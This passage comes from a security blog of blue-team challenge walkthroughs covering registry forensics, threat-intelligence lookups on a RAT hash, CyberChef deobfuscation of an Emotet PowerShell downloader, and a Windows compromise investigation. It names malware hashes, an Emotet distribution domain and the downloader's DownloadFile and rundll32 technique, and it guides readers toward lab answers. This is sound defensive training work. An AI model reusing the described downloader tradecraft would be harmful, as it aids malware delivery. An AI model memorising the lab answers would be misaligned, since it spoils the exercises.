Tools" and selecting " # "

Find."

We’ll keep the default options and simply enter the string " # “DefaultGateway"into the search box.

Once we press " # "

Search,” we’ll see the results in the bottom pane. The first result gives us the DHCPDefaultGateway value for a specific adapter, leading us to the correct answer.

Questions 5 & 6:

Work" ?

How many logins did the " # "

Work" user have?

Continuing with our investigation, we now need to determine some activities performed by the user " # "

Work." To find this information, we need to pivot from the SYSTEM hive and load the Security Account Manager (SAM) Hive, which contains user information like username, group membership, and login information.

Once we load the SAM hive with Registry Explorer, we can use the available bookmark to discover information about the users on the subject system. Unfortunately, the view is cramped with the limited screen space within the analysis environment, and this is a good excuse to try out another tool — RegRipper3.0.

Registry Explorer: Viewing the Users Key from the SAM Hive

Launch RegRipper3.0 (rr.exe) from the Tools folder to access the GUI. Once it opens, select the SAM hive file, specify a path to export the report to, and let it Rip!

RegRipper Setup

This will produce two output files after the run, which is best explained by SANS:

RegRipper creates two files when it runs. The first is the report file that contains the output of the plugins that were ran against the registry file. The second file is a log file that contains the dates, times, plugins ran, and the number of errors that occurred with the plugins. The log file filename is based off of the report file name minus the extension.

We’ll want to focus on the first file and search for the username " # "

Work." Once we’ve located the account in the output, we’ll find the answers needed to answer Question 5 & 6.

RegRipper: Output for the SAM hive

Questions 7 & 8:

What is the OS " # "

ProductName" ?

What is the OS " # "

BuildNumber" ?

We’re moving right along now! To answer Questions 7 & 8, we’ll need to discover the " # "

ProductName" and " # "

BuildNumber" of the operating system where the dump was captured. Since this isn’t user account-related, we’ll need to search for another artifact — the SOFTWARE hive. The SOFTWARE hive contains the information, settings, and preferences for software installed on the system, including the operating system.

To answer these questions, let’s jump back into Registry Explorer, load the SOFTWARE hive, and use the available common bookmarks, selecting " # "

CurrentVersion (Windows version information (Windows NT key))" .

Registry Explorer: Selecting the CurrentVersion bookmark

This will take us directly to the SOFTWARE\Microsoft\Windows NT\CurrentVersion key, which contains information about the Windows version, including the ProductName and CurrentBuildNumber.

Registry Explorer: Identifying the ProductName & CurrentBuildNumber

Question 9: How many programs run on startup for any user?

To find the answer to Question 9, we’ll need to determine how many programs run on startup for any user. But first, let’s take a step back and understand why autorun applications have the potential to be abused by an attacker.

According to MITRE ATT&CK, a global knowledge base of adversary tactics, techniques, and procedures, a registry run key can be abused for persistence and privilege escalation because " # “adding an entry to the " # "

run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in."Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder _Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key…_attack.mitre.org

So, it’s important that we check this key to determine if this feature was abused by an attacker or used for benign, normal tasks. We can again leverage the Registry Explorer bookmarks, selecting " # "

**Run (Run key)" ** to take us to the key for the startup programs for all users.

Registry Explorer: Selecting the Run key bookmark

Registry Explorer: Identifying the startup programs

After selecting the bookmark, we can determine that there are two applications set to run on startup for any user. Both programs appear normal and not malicious.

Question 10: What is the last installed app?

To identify the last app installed, we’ll continue with our analysis of the loaded SOFTWARE hive. To locate the correct registry key, we can search within the available bookmarks for the keyword " # “uninstall.“Why would we search for “uninstall"when we are looking for installed apps? This is because information about software installed on the system is contained in the Software\Microsoft\Windows\CurrentVersion\Uninstall key, where we’ll be able to find information about the install dates for the applications. Let’s try it out:

Press the " # "

Available bookmarks” tab. 2. Enter the string " # "

uninstall” into the search box and press " # "

Find” . 3. Click the key named " # "

Uninstall" . 4. In the right pane, sort the " # "

Timestamp" column to display the most recent results at the top.

Registry Explorer: Identifying the last installed program by timestamp

After analyzing the results of the Uninstall key, we’ll see that the application XAMPP was the last one installed onto the system.

Question 11: What is the " # "

DefaultGatewayMac" ?

To determine the " # "

DefaultGatewayMac," we’ll take a similar approach to what we used back in Question 4. Continuing with the SOFTWARE hive, we’ll once again leverage Registry Explorer’s find tool and enter the string " # “DefaultGatewayMac"into the search box to locate the MAC address data.

After running the search, we’ll see the results in the bottom pane. The value data provides us with the DefaultGatewayMac entry for the network adapter.

Question 12: What is the Machine SID?

We’ve made it to the final question! Our last task is to determine the Machine Security Identifier (SID) of the device. Let’s do some research and get some context for what we’re looking for. According to an article from Forensafe:

A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a security group. Security principals can be a user account, a computer account, a thread, or a process. SID is generated by the system to identify a particular entity at the time it is created.

Investigating Machine SID _18/07/2022 Monday A security identifier (SID) is a unique alphanumeric number that identifies a security principal or a…_forensafe.com

In addition to the fantastic explanation, the article also discloses the location of this file in the registry:

Machine SID is stored in a security database. The default location is Windows\System32\Config\SECURITY\SAM\Domains\Account registry key.

To save you some time, the unfortunate part is that this is a dead-end lead for the artifacts that we have available to us. So, let’s pivot and refer to the question hint for some guidance:

Remember from all the way back in Question 1 that we noted two versions of RegRipper in the Tools folder? Now we know why. Occasionally, leveraging older versions of tools will change how input is parsed — let’s try out RegRipper2.8 and see what we can find.

While like how we set up the 3.0 version, there are some differences. First, point to the SECURITY hive file which contains security policy and settings information. Then, specify your output directory for the two .txt files. Finally, in the profile drop-down, select " # "

security.”

RegRipper2.8: Setup

Once the output file is generated, open it up and we’ll be able to easily locate the Machine SID value that we’re looking for to complete the investigation.

RegRipper2.8 Output: Discovering the Machine SID

Conclusion:

There we have it! By combining Registry Explorer and RegRipper to analyze the provided SYSTEM, SAM, SOFTWARE, and SECURITY registry artifacts, we’ve successfully collected the necessary information from the target computer. We were able to determine valuable information about the device, including the OS, computer name, time zone, and network information. We also learned about user and application activities on the system, giving us a clear view of what the device is and how it’s used — all through the registry. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the RegistryHive challenge!

A big thank you to LetsDefend, for the awesome challenge! This challenge was a great opportunity for me as I am very familiar with the registry but have never had to approach it from a forensics perspective. I knew this experience would help improve my skills and expose me to some of the valuable artifacts available in the registry. The hands-on practice is extremely valuable in the real world. This challenge was also a fantastic opportunity to explore more of Eric Zimmerman’s tools like Registry Explorer. This was an extremely powerful and flexible utility that is now part of my kit. I also had never used RegRipper and was extremely impressed by its ease of use and powerful output. All-in-all, this was a fun way to grow my skills — awesome stuff!

Thank you for your support and partnering up on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/registryhive

Registry Explorer: https://ericzimmerman.github.io/#!index.md

RegRipper3.0 — GitHub: https://github.com/keydet89/RegRipper3.0

Microsoft Learn — Registry Hives: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives

Microsoft Learn — File Times: https://learn.microsoft.com/en-us/windows/win32/sysinfo/file-times

CyberChef: https://gchq.github.io/CyberChef/

SANS Blog — RegRipper: Ripping Registries With Ease: SANS Digital Forensics and Incident Response Blog | RegRipper: Ripping Registries With Ease | SANS Institute

MITRE ATT&CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001): https://attack.mitre.org/techniques/T1547/001/

Forensafe — Investigating Machine SID: https://forensafe.com/blogs/machine_sid.html

CyberDefenders — Yellow RAT Lab Walkthrough

Sun, 13 Apr 2025 00:00:00 +0000

CyberDefenders — Yellow RAT Lab Walkthrough

A Cyber Threat Intelligence Challenge using Hybrid Analysis, VirusTotal, and Red Canary Intelligence.

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Yellow RAT Lab from CyberDefenders, you’re in the right place.

In this scenario, we’re jumping into the world of cyber threat intelligence (CTI) by investigating a malware sample discovered within the victim’s environment. The challenge? We’re only provided the file hash of the malware, so it’s up to us to use our research skills to collect threat intelligence and determine what the malware is, how it operates, and what it communicates with.

To perform this investigation, we’ll leverage some common threat intelligence and malware analysis platforms, like VirusTotal and Hybrid Analysis, as well as conduct additional research on Google. Performing this analysis will give us the information we need to put a stop to this incident. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

During a regular IT security check at GlobalTech Industries, abnormal network traffic was detected from multiple workstations. Upon initial investigation, it was discovered that certain employees’ search queries were being redirected to unfamiliar websites. This discovery raised concerns and prompted a more thorough investigation. Your task is to investigate this incident and gather as much information as possible.

Question 1: Understanding the adversary helps defend against attacks. What is the name of the malware family that causes abnormal network traffic?

Time to kick off this investigation! Our first task is to unzip the challenge file containing a text file, hash.txt. The content of this file is the SHA256 file hash of the malware that infected the employee workstations.

To begin, copy the file hash:

30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85

Throughout this challenge we’ll leverage several threat intelligence sources but the first one we’ll use is Hybrid Analysis, an online malware analysis service, to check the unique malware file hash contained in hash.txt. This allows us to check previous reports about the sample and gather more information about the incident. To do this follow the steps below:

Use your web browser to navigate to https://www.hybrid-analysis.com/
Select the " # "

Report Search" tab. 3. Paste the file hash into the search box & press " # "

search."

Select the first report in the list with the timestamp of June 20th, 2022 (though any should work.)
Within the report, under Falcon Sandbox Reports, click the report from the Windows 7 32 bit sandbox with the threat score of 94/100.

Hybrid Analysis search result: https://www.hybrid-analysis.com/search?query=30E527E45F50D2BA82865C5679A6FA998EE0A1755361AB01673950810D071C85

Hybrid Analysis: Selecting the Falcon Sandbox Report

Now that we’re in the report, we can start collecting some intelligence about the malware. The first objective to answer Question 1 is to discover the name of the malware family. To discover this information, we’ll use the Open Source Intelligence (OSINT) section under Additional Context and select the report from Red Canary Intelligence to be redirected to their blog entry.

Hybrid Analysis: Selecting the Red Canary Report

We’ll find the malware name is featured prominently as the subject of the write up. Not only that, but we’ll discover some extremely valuable technical information about the malware that can help us to contextualize the attack. Great find! We’ll return to this blog entry later, so keep it handy for later in the investigation.

Question 2: As part of our incident response, knowing common filenames the malware uses can help scan other workstations for potential infection. What is the common filename associated with the malware discovered on our workstations?

Now that we’ve uncovered the malware family we’re investigating, let’s pivot to another source of intelligence, VirusTotal. If you’re unfamiliar with it, VirusTotal is another popular malware analysis platform with detailed detection information and analysis reporting for malware samples.

The process of checking VirusTotal is similar to our approach with Hybrid Analysis:

Use your web browser to navigate to https://virustotal.com
Paste the file hash into the search box & press " # "

search."

Once the results page has loaded, select the " # "

Details" tab.

VirusTotal VirusTotalwww.virustotal.com

On the " # "

Details" tab, we’ll see a ton of valuable data about the malware sample but to answer Question 2, we need to discover the common filename used by the malware. We can locate this information by scrolling down to the " # "

Signature info" section under the " # "

File Version Information" header:

VirusTotal: Identifying the common filename of the sample

Once we’ve identified the " # "

Original Name," copy that value and submit the answer.

Question 3: Determining the compilation timestamp of malware can reveal insights into its development and deployment timeline. What is the compilation timestamp of the malware that infected our network?

For our next task, we need to determine the timestamp for the malware’s compilation. We can continue to explore the VirusTotal report to locate this information in the " # "

Portable Executable Info" section right below the " # "

Signature Info" we used in the previous question.

Scroll down to the " # "

Header" section to location the Compilation Timestamp value that we’re searching for.

VirusTotal: Identifying the compilation timestamp of the malware sample

Question 4: Understanding when the broader cybersecurity community first identified the malware could help determine how long the malware might have been in the environment before detection. When was the malware first submitted to VirusTotal?

To answer Question 4, we’ll need to identify the date the malware sample was first submitted to VirusTotal. To locate this information, check the " # "

History" section toward the top of the " # "

Details" tab and check the First Submission timestamp.

VirusTotal: Identifying the first submission time

Question 5: To completely eradicate the threat from Industries’ systems, we need to identify all components dropped by the malware. What is the name of the .dat file that the malware dropped in the AppData folder?

Our next objective is to identify files dropped by the malware. Typically, we can locate this information on VirusTotal but in this case, we’ll need to switch gears to find the answer since the data isn’t available on VirusTotal.

Let’s refer back to the Red Canary Intelligence report we discovered in Question 1 and see if we can gather more information from the blog to find the answer.

Scroll down to the " # “Deep dive on the .NET RAT"section of the blog to view the granular technical details of the malware including the name of the .dat file we’re seeking to answer the question.

Leveraging the report from Red Canary to identify the .dat file

Question 6: It is crucial to identify the C2 servers with which the malware communicates to block its communication and prevent further data exfiltration. What is the C2 server that the malware is communicating with?

We’ve made it to the final question! Our last objective is to identify the command and control (C2) server the malware communicates with. To tie this all together, we’ll check all the previous threat intelligence sources for this information, starting with the Red Canary report.

From the report, in the same section where we located the name of the .dat file for the previous question, we can see that point #3 contains the observed C2 URL used by the sample. That’s a good start, but let’s check another source.

Leveraging the report from Red Canary to identify the C2 server

Referring back to VirusTotal, navigate to the " # "

Behavior” tab and scroll to the " # "

Network Communication" section. Here, we’ll find the same URL that we discovered in the Red Canary report as a " # "

Memory Pattern Domain/URL" indicating a string discovered in the malware sample.

VirusTotal: Identifying the C2 server

We can take this one step further by checking the URL against VirusTotal to determine the reputation of this domain.

VirusTotal: Detection of C2 URL

Finally, let’s navigate back to the Hybrid Analysis report we used back in Question 1 and locate the " # "

Suspicious Indicators" section and locate the External Systems section. Here we’ll confirm the C2 URL along with the reputation detection of the domain, confirming our findings.

Hybrid Analysis: Locating the C2 URL

With this triple-confirmation, let’s submit the answer and wrap up this investigation!

Conclusion:

There we have it! Starting with the file hash of the sample, we were able to search for detailed information about the malware on VirusTotal and Hybrid Analysis. These platforms provided comprehensive reports on the malware’s behavior, allowing us to understand when it was compiled and seen in the wild, what file it drops, and its C2 infrastructure. The reports also contained links to valuable malware research, like the blog from Red Canary, that we used to tie the investigation together.

Now that we’ve scoped the attack and completed our objectives, let’s close out this walkthrough of the Yellow RAT Lab!

A big thank you to CyberDefenders, for another exciting and realistic lab scenario. I always keep threat intelligence challenges in the rotation. Experience with tools like VirusTotal and Hybrid Analysis is a fundamental in this field. Hands-on practice with these tools and understanding what you can learn from the reports is especially beneficial when time is of the essence during incident response or when defending against a specific threat actor. Although I don’t often have the opportunity to review research done by Red Canary, every time I encounter their work, I’m really impressed with the analysis — I’ll definitely keep them bookmarked!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/

Hybrid Analysis: https://www.hybrid-analysis.com/

Hybrid Analysis (Sample): https://www.hybrid-analysis.com/sample/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/5fd004f2f760b679ae373bb3

VirusTotal: https://www.virustotal.com/

VirusTotal (Sample): https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/community

**Red Canary Threat Intelligence — " # "

Yellow Cockatoo: Search engine redirects, in-memory remote access trojan, and more" :** https://redcanary.com/blog/yellow-cockatoo/

Blue Team Labs Online — Malicious PowerShell Analysis Walkthrough

Sun, 06 Apr 2025 00:00:00 +0000

Blue Team Labs Online — Malicious PowerShell Analysis Walkthrough

An incident response challenge using CyberChef and URLhaus.

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Malicious PowerShell Analysis challenge from Blue Team Labs Online, you’re in the right place.

In this scenario, an employee opened a phishing email and executed malware on their system, causing a business-wide disruption. As part of the incident response team, we’re provided an encoded PowerShell script and our mission is to analyze the contents of this script and identify the malware it contains.

To perform our investigation, we’ll hop into the kitchen with CyberChef, a popular tool to perform data decoding and analysis, to examine the PowerShell script. Throughout the investigation, we’ll map the adversary’s techniques and software to MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, to gain a comprehensive understanding of the attack. Finally, we’ll leverage an external cyber threat intelligence service to uncover more details about the malware. Sounds like a good time to me — let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

Recently the networks of a large company named GothamLegend were compromised after an employee opened a phishing email containing malware. The damage caused was critical and resulted in business-wide disruption. GothamLegend had to reach out to a third-party incident response team to assist with the investigation. You are a member of the IR team — all you have is an encoded Powershell script. Can you decode it and identify what malware is responsible for this attack?

Setup the REMnux Analysis Environment & Extract the challenge file:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–)

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What security protocol is being used for the communication with a malicious domain?

Let’s dive right in and extract the challenge file where we’ll find our sample, ps_script.txt. We can open this file with any text editor, but for this walkthrough, I’ll be using Notepad++.

Encoded PowerShell Command

Inside the file, the contents contain a block of Base64 encoded code indicated by the -ENCOD argument, which allows encoded commands to be passed and executed. This is a common defense evasion (MITRE ATT&CK T10027.010) method used by attackers to obfuscate their code.

Our first task is to decode this script to determine the goals of the attacker. We can accomplish this by leveraging CyberChef to help us deobfuscate the script using the following steps:

Open CyberChef — this is built into REMnux, but the web-based version works too.
Paste the encoded command into CyberChef’s “Input” window.
Apply the “From Base64” operation to the recipe.
Add the “Remove null bytes” operation.

Applying the From Base64 Operation

Applying the Remove Null Bytes Operation

We’re getting closer and we can identify some readable strings, but there is still some additional obfuscation to deal with. Going through the first couple of lines, we can identify several junk characters separating clear text words within the script.

To remove these characters:

Add the “Find/Replace” operation to the recipe.
Enter the regex [,'()+\"] to define the individual characters within the brackets we want to match. Feel free to add others if you spot them.
Leave the “Replace” field empty to replace the characters defined in the regex with blank characters.

We’re getting even closer to making the script human-readable but notice that the URL strings begin with ]anw[3 instead of something more familiar like http. Let’s add another “Find/Replace” operation, this time using the “Simple String” matching and replacing ]anw[3 with http to read the URLs more clearly.

Applying a second Find/Replace Operation

After this change, the script is much more readable, but let’s take this one step further and split the script into individual lines. We can accomplish this by adding one final operation to the recipe — “Split.” Once added to the recipe, set the split delimiter on the ; character to separate the commands into individual lines.

Applying the Split Operation

Finally, we have a much more readable version of the script which we can use to perform our analysis.

To answer Question 1, we need to identify the “security protocol” being used for communication with the malicious domain. We can locate this information in the script by finding the line referencing “security protocol,” where it shows a value of TLS12 or Transport Layer Security version 1.2.

Identifying the Security Protocol in the script

Question 2: What directory does the obfuscated PowerShell create? (Starting from \HOME)

Next, we’ll need to identify what directory the script creates. Since this is an obfuscated script, it’s not as straightforward as answering Question 1.

To find the first clue, let’s read through the script contents until we stumble across the highlighted variable cREAtedIRECTORy$HOME. This seems like a good place to start searching since there is a reference to the CreateDirectory method, and there are some obfuscated characters next to this string which might contain the file path.

Identifying the CreateDirectory method.

Let’s scroll further down for more clues where we’ll find a second reference to $HOME. The trick is that the string doesn’t look how we would expect a directory path to appear, so we’ll need to apply another operation to our CyberChef recipe to decode the correct file path structure.

Identifying the directory variable

If we look at the end of the variable, we can see the string UOH. Highlighting this reveals several instances in the same line. What if we replace this string with \ instead? Apply another “Find / Replace” to see the results.

Identifying the string to replace

Applying a second Find/Replace operation

Once we perform this replacement, we can see a clear file path declared by the variable. Let’s check our work and move on to the next question.

Question 3: What file is being downloaded (full name)?

Now that we’ve uncovered the directory the script creates, we’ll need to identify the name of the file it downloads. To locate this information, let’s search for clues in the script that point toward download activity. We can find this toward the bottom of the script in the [SysTem.nEt.WEBcLIeNT.doWNlOaDFIle](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-9.0) method, which is used to download data from a URI resource to a file — in this case, the URIs we decoded earlier.

At the end of the line, notice the reference to the variable $Imd1yck. This is the same variable that contains the directory we identified in the previous question.

Identifying DownloadFile activity in the script

Going back to the previous question, at the end of the line, we will see the file extension .dll appended to a variable, indicating the downloaded file. Highlighting the file name variable, we are shown another location in the script where the variable is declared, and we can see the data it contains — this is the file name we are searching for to answer Question 3.

Identifying the name of the downloaded file

Question 4: What is used to execute the downloaded file?

To determine how the A69S.dll file is executed, we need to look for another method in the script that executes this file. To find it, highlight the variable name $Imd1yck, which indicates the file path. Performing this action highlights all instances in the CyberChef output.

Let’s look more closely at the last hit where we can see rundll32 being used to execute the downloaded file (T1218.001).

Identifying rundll32

Question 5: What is the domain name of the URI ending in ‘/6F2gd/’

To answer Question 5, we’ll need to locate the domain name of a specific URI. Since we have already done the legwork and deobfuscated the URLs, we can leverage the “Find” function within CyberChef:

Click anywhere inside of the “Output” window.
Press Ctrl+F to bring up the search box.
Enter /6F2gd/ in the search box to identify the domain.

Identifying the domain name for the specified URI

Question 6: Based on the analysis of the obfuscated code, what is the name of the malware?

We’ve made it to the last question. Our final task is to correlate all the evidence we’ve discovered in the script to figure out the name of the malware. To do this, let’s start with the domain we discovered in the last question and pivot to some external threat intelligence services for further investigation.

We’ll start with URLhaus, a platform offered by cyber threat intelligence provider abuse.ch that is “dedicated to sharing malicious URLs that are being used for malware distribution,” and search the database for the domain name we found in Question 5.

https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net

Following our search, we have a hit! We can see in the “tags” area that this domain is associated with the Emotet malware family.

https://urlhaus.abuse.ch/url/948889/

This is enough data to determine the malware family name we are searching for to complete the challenge. Now let’s wrap up this investigation!

Conclusion:

There we have it — mission accomplished! Using CyberChef, we decoded and deobfuscated the malicious PowerShell script. By analyzing its contents, we determined the methods the script uses, URL it contacts, and the files the script downloads as a second stage. Then, using URLhaus, we pieced together the evidence to identify the malware as Emotet. Throughout the investigation, we referenced MITRE ATT&CK and Microsoft Learn to better understand how the script operates, giving us a comprehensive view of the attack.

Now that we’ve scoped the attack and completed our objectives, let’s close out this walkthrough of the Malicious PowerShell Analysis challenge!

A big thank you to Blue Team Labs Online for another engaging and challenging lab scenario. I chose this challenge to practice with CyberChef and keep my skills up to date. While I don’t often manually analyze scripts in my day job, it’s an essential skill to have in your toolkit to build confidence during incident response engagements, especially if you don’t have access to more advanced tools that can assist in your analysis. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable and it pumps me up to support your security journey. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

REMnux: https://remnux.org/

Challenge Link: https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef

Notepad++: https://notepad-plus-plus.org/

MITRE ATT&CK — Obfuscated Files or Information: Command Obfuscation ( T1027.010): https://attack.mitre.org/techniques/T1027/010/

CyberChef: https://gchq.github.io/CyberChef/

Microsoft Learn — WebClient Class: WebClient Class (System.Net) | Microsoft Learn

MITRE ATT&CK — System Binary Proxy Execution: Rundll32 ( T1218.011): System Binary Proxy Execution: Rundll32, Sub-technique T1218.011 — Enterprise | MITRE ATT&CK®

URLhaus: https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net

MITRE ATT&CK — Software: Emotet ( S0367): https://attack.mitre.org/software/S0367/

TryHackMe — Investigating Windows Challenge Walkthrough

Sun, 30 Mar 2025 00:00:00 +0000

TryHackMe — Investigating Windows Challenge Walkthrough

A Windows endpoint forensic investigation using Event Viewer, PowerShell, and VirusTotal

Image Credit: https://tryhackme.com/room/investigatingwindows

Introduction:

If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Investigating Windows challenge from TryHackMe, you’re in the right place. Welcome to my weekly walkthrough!

Investigating Windows is the first in a series of rooms within TryHackMe’s Investigating Windows module, and completing all three earns you a fancy badge on the platform. In the spirit of learning, this walk through will avoid spoilers. Since this is a FREE room, anyone can test their skills with Investigating Windows, perform the investigation along with me, and find the answers on their own as an entry point to Windows forensics.

In this scenario, we’re turned loose to investigate a compromised Windows endpoint and need to sleuth out how the attack unfolded. The tricky part? We’ll have no tools available to us, so we’ll hunt for the artifacts manually using the Windows Event Logs, Task Scheduler, Registry, and File Explorer. This is a great “back to basics” jumping-off point into digital forensics and incident response (DFIR) in the Windows world, with something interesting for all skill levels.

As we collect evidence, we’ll enrich our findings using MITRE ATT&CK, Microsoft Learn, and VirusTotal to add additional context and learn more about the attacker’s tactics and techniques. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Scenario:

A windows machine has been hacked, its your job to go investigate this windows machine and find clues to what the hacker might have done.

This is a challenge that is exactly what is says on the tin, there are a few challenges around investigating a windows machine that has been previously compromised.

Question 1: Whats the version and year of the windows machine?

To kick off our investigation, we need to identify the operating system details of the compromised device. Specifically, we need to determine the Windows version. One approach is to use the winver command. This can be executed from the “Run” box, or the Command Prompt.

Using the Run dialog box:

Press Win + R to open the Run dialog box.
Type winver and press Enter.

Using the Command Prompt:

Open the Command Prompt by typing cmd in the search bar and pressing Enter.
Type winver and press Enter.

The resulting output will display the below information, where we can collect the Windows version information for the environment.

Winver Output

Question 2: Which user logged in last?

Now that we’ve identified the operating system version, we need to audit the logon activity for the system. For this walkthrough, we’ll use the Windows Event Log to query successful logon events, specifically filtering Event ID 4624 — “An account was successfully logged on.”

To do this:

Open Event Viewer:

Press the Windows Start button and type “Event Viewer.”

Navigate to Security Logs:

In the Event Viewer, expand “Windows Logs” and select “Security”.

Filter for Logon Events:

In the “Actions” pane on the right, click “Filter Current Log”.
In the “Event IDs” field, enter “4624" and click “OK”.

Filtering the Security Log for Event ID 4624

Now, the filtered log will display all successful logon events (Event ID 4624). Since the log is also capturing our Administrator login activity, scroll past the events for the current date to the previously logged date, 1/29/2021, to find the user logon activity before our session.

Identifying the last user logon session

Question 3: When did John log onto the system last?

Continuing to use our current filtering, we’ll use the “Find” function to locate the username John within the logs and determine the last date this user logged in to the system.

Identifying logon activity for the user John

Question 4: What IP does the system connect to when it first starts?

Now, let’s pivot away from the Windows Event Log and start to look for common persistence methods used by threat actors. The key to answering Question 4 is finding the IP address that the system connects to after it first starts.

With that in mind, we’ll check the Windows Registry Run Keys / Startup Folder (MITRE ATT&CK ID T1547.001). These methods allow a binary to execute on user login, creating persistence for the adversary.

According to MITRE ATT&CK, the relevant run keys can be found in the following locations:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

First, launch the Registry Editor:

Then, navigate to the keys referenced by MITRE ATT&CK. While examining HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, you may notice the string UpdateSvc. This string indicates a suspicious command connecting to an additional IP address.

Identifying a suspicious run key in the registry

By analyzing these often-abused registry keys, we’ve found a method of persistence used by the threat actor and an IP address, or indicator of compromise (IOC).

Question 5: What two accounts had administrative privileges (other than the Administrator user)?

Next, we’ll need to determine which other accounts have local administrative permission on the system. To find out, we’ll query the local administrators group with PowerShell by executing the command below.

net localgroup administrators

After running the command, we’ll discover that three accounts are members of this group including the Administrator account that we’re using.

Question 6, 7, 8:

Whats the name of the scheduled task that is malicious.

What file was the task trying to run daily?

What port did this file listen locally for?

The next step in our investigation is to search for a malicious scheduled task. By abusing the Windows Task Scheduler, a threat actor could create persistence by setting a malicious file to run at a specific time (T1053.005)

For this walkthrough, we’ll search for the malicious task using the command line tool schtasks, but the GUI Task Scheduler will work just as well if you prefer to explore it.

From PowerShell, use the [schtasks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks) command to query the task scheduler library. We’ll see a couple of suspicious entries listed.

Using schtasks to list tasks

To get more information about each task, use the following syntax:

schtasks /query /FO LIST /V /TN “”

Several tasks may look suspicious. For example, check the Clean file system task. Notice that its action is launch a PowerShell (.ps1) script, scheduled to run daily.

Using schtasks to query a task

Since we’re searching for a persistence technique and this specific task launches a file with a listening port, it matches the criteria of Questions 6,7, & 8. This is the malicious task we are searching for.

Question 9: When did Jenny last logon?

Now let’s return to gathering information about the other users on the system. We’ll pivot back to our PowerShell console to do this. Instead of querying a group like we did back in Question 5, we’ll query the Jenny user account directly to find the Last logon field.

To query the last logon time for Jenny, use the following command:

net user jenny

Identifying the “Last logon” for the user Jenny

By executing this command, we’ve figured out when Jenny last logged on to the system — nice!

Question 10: At what date did the compromise take place?

Based on the scheduled task trigger date, we can start to create a rough timeline of when the attack occurred. To take this a step further, let’s closely examine the directory storing the .ps1 file for the malicious task we found in Question 7: C:\TMP

Inside this directory, we’ll see a number of suspicious tools. All these files were staged in this folder on a specific date, which helps us pinpoint the date of compromise.

This information is crucial for understanding the timeline of the attack and properly scoping our investigation.

Question 11: During the compromise, at what time did Windows first assign special privileges to a new logon?

Now that we have scoped the date of the attack, we can start to narrow down our searches. To uncover the answer to Question 11, let’s return to the Windows Event Viewer searching for Event ID 4672, or “special privileges assigned to a new logon.”

According to Microsoft Learn, this event “generates for new account logons if any of the following sensitive privileges are assigned to the new logon session.”

To find these events, perform the following steps in the Event Viewer:

Select “Windows Logs” > “Security”.
Press “Filter Current Log…” in the right column.
Click the drop-down menu for “Logged” and select “Custom Range”.
In the “From” and “To” boxes, select “Events On” and select the date of the attack. Use the time ranges from 12:00:00 AM to 11:59:00 PM to display all events for the date, then press OK.
Type “4672" in the Event ID field, then press OK.

Filtering the Event Viewer for Event ID 4672 on the date of the attack

Based on the question, your immediate instinct might be to look at the first event in the list, but spoiler that is incorrect. Let’s take a quick look at the question hint to narrow this down a bit.

Armed with the clue, we can now locate the correct event and corresponding time stamp, determining when Windows first assigned special privileges to a new logon during the compromise.

Question 12: What tool was used to get Windows passwords?

You may have noticed throughout our investigation that a command prompt window keeps popping up randomly, right? You may have also seen another suspicious task in Task Scheduler or an alarming executable in the staging folder C:\TMP.

If not, let’s take a closer look at the window where we’ll observe a familiar file path: C:\TMP\mim.exe

To determine the nature of this file, we can collect the file hash and check it against external threat services. Use the following PowerShell command to gather the file hash:

get-filehash C:\TMP\mim.exe

Then, we can take this hash and submit it to a service like VirusTotal to evaluate the sample.

https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622

